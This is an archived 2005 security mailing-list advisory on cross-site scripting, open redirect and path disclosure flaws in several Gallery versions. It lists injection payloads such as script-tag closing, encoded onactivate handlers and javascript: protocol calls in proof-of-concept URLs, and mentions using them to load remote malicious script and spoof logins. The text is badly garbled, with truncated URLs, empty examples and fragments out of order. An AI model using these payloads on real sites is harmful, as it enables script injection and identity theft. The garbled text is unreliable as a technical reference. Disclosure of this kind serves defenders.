[VulnWatch] Gallery v1.3.4-pl1, v1.4.4-pl2, 2.0 Alpha Cross Site Scripting Vulnerability
From: Rafel Ivgi, The-Insider (theinsider_at_012.net.il)
Date: 01/17/05
- Previous message: Rafel Ivgi, The-Insider: "[Full-Disclosure] Gallery v1.3.4-pl1, v1.4.4-pl2, 2.0 Alpha Cross Site Scripting Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Mon, 17 Jan 2005 22:34:43 +0200 To: Windows NTBugtraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>, vulnwatch@vulnwatch.org, "securitytracker.com" <bugs@securitytracker.com>, news@securiteam.com, full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application: Gallery
Vendors: http://gallery.sourceforge.net
Versions: v1.3.4-pl1, v1.4.4-pl2, 2.0 Alpha
Platforms: Windows
Bug: Cross Site Scripting Vulnerability
Exploitation: Remote With Browser
Date: 17 Jan 2005
Author: Rafel Ivgi, The-Insider
E-Mail: the_insider@mail.com
Website: http://theinsider.deep-ice.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Introduction
2) Bugs
3) The Code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===============
1) Introduction
===============
Gallery is open to Cross Site Scripting vulnerability, allowing a remote
attacker to inject and execute scripts on the user’s machine while visiting
a remote gallery.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
======
2) Bug
======
Gallery v1.3.4-pl1 contain a vulnerability inside ‘add_comment.php’ in the
‘index’ field. The injection can be done using the classical tag closing:
"><script>alert()</script>
For Example:
Gallery v1.3.4-pl1 also contains vulnerability inside ‘slideshow_low.php’
The injection can be done using the classical tag closing:
For Example:
Yet there is Gallery v1.3.4-pl1 vulnerability inside ‘search.php’ in the
For Example:
Gallery v1.4.4-pl2 contains vulnerability inside ‘login.php’ in the
For Example:
Gallery v2.0 Alpha contains vulnerability inside ‘login.php’ in the
For Example:
Gallery v2.0 Alpha contains another vulnerability inside ‘main.php’ in the
For Example:
Then the following data will be printed out to the attacker:
Second Time
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===========
Gallery v1.3.4-pl1
Gallery v1.4.4-pl2
Gallery v2.0 Alpha
1) http:// 2)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://
<script>alert()</script>
in ALL the fields. The ‘slideshow_low.php’ contains the following form
fields:
set_albumName
slide_index
slide_full
slide_loop
slide_pause
slide_dir
"><script>alert()</script>
http://
index=3&slide_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&sl
ide_dir=1
‘username’ field. The injection can be done using hex encoded tag closing
and an HTML event:
%22%20onactivate%3D"alert%28%29"
http://
host>/gallery/search.php?searchstring=%22%20onactivate%3D"alert%28%29"
‘username’ field.
The injection can be done using hex encoded tag closing and an HTML event:
%22%20onactivate%3D"alert%28%29"
http://
onactivate%3Dalert%28%29%3e
This version of Gallery also has an open redirection, which is a security
risk because
an attacker can send someone a link with a redirection to his evil host name
or to cause
the user to commit an attack or waste a target’s resources.
http://
encoded evil
host name>&cmd= All the vulnerabilities described above can be used to
remotely call
a JavaScript file The injected JavaScript code is responsible for:
Automatic launching of malicious code (remote compromise by I.E exploits).
Identity theft using a spoofed re-login window (only for galleries with
login)
‘g2_form[subject]’
field. The injection can be done using an inline javascript protocol call:
javascript:alert()
http://
_form[formName]=AddComment&g2_itemId=<valid
item>&g2_form[subject]=[img]javascript:alert
()[/img]&g2_form[action][preview]=preview
‘g2_subView’ parameter. It is possible the replace any valid subView value
such as: comment
:ShowComments with the admin value: core:UserAdmin. This causes the gallery
to wait 30 seconds
and then print out the Full Path of the gallery on the server.
http://
host>/main.php%3Fg2_view%3Dcore
%3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3D< any valid/invalid session
id such as:
be869b98355e8d445c8ec8f97cb343da>&g2_view=core:UserAdmin&g2_subView=core
:UserAdmin
Fatal error: Maximum execution time of 30 seconds exceeded in
/mnt/1/<name>/www/<host>/g2/
modules/core/UserAdmin.inc on line 55
Fatal error: Maximum execution time of 30 seconds exceeded in
/mnt/1/<name>/www/<host>/g2/
modules/core/classes/GalleryUtilities.class on line 596
3) The Code
===========
http://
ert()</script>
http://
cript>alert()</script>&slide_full=0&slide_loop=0&slide_pause=3&slide_dir=1
http://
de_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&slide_dir=1
http://
de_full=0&slide_loop=0"><script>alert()</script>&slide_pause=3&slide_dir=1
http://
de_full=0&slide_loop=0&slide_pause=3"><script>alert()</script>&slide_dir=1
http://
de_full=0&slide_loop=0&slide_pause=3&slide_dir=1"><script>alert()</script>
http://
http://
/%20onactivate%3Dalert%28%29%3e<plaintext>
http://
.google.com&cmd=
_form[formName]=AddComment&g2_itemId=<valid
item>&g2_form[subject]=[img]javascript:alert()[/img]&g2_form[action][preview
]=preview
http://
3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3Dbe869b98355e8d445c8ec8f97cb3
43da%5C%5C0%5C%5C00%5C%5C%5C%5C0%5C%5C%5C%5C00%3B%250a%250d%250a%250drafi&am
p;g2_view=core:UserAdmin&g2_subView=core:UserAdmin
---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Scripts and Codes will make me D.O.S , but they will never HACK me."
Relevant Pages
... Exploitation: Remote With Browser ... Gallery is open to Cross Site Scripting vulnerability, ... The injection can be done using the classical tag closing: ... Gallery v2.0 Alpha contains vulnerability inside ‘login.php’ in the ...
(NT-Bugtraq)
... Exploitation: Remote With Browser ... Gallery is open to Cross Site Scripting vulnerability, ... The injection can be done using the classical tag closing: ... Gallery v2.0 Alpha contains vulnerability inside ‘login.php’ in the ...
(Bugtraq)
... Exploitation: Remote With Browser ... Gallery is open to Cross Site Scripting vulnerability, ... The injection can be done using the classical tag closing: ... Gallery v2.0 Alpha contains vulnerability inside ‘login.php’ in the ...
(VulnWatch)
... Exploitation: Remote With Browser ... Gallery is open to Cross Site Scripting vulnerability, ... The injection can be done using the classical tag closing: ... Gallery v2.0 Alpha contains vulnerability inside ‘login.php’ in the ...
(Full-Disclosure)
... Exploitation: Remote With Browser ... Gallery is open to Cross Site Scripting vulnerability, ... The injection can be done using the classical tag closing: ... Gallery v2.0 Alpha contains vulnerability inside ‘login.php’ in the ...
(Full-Disclosure)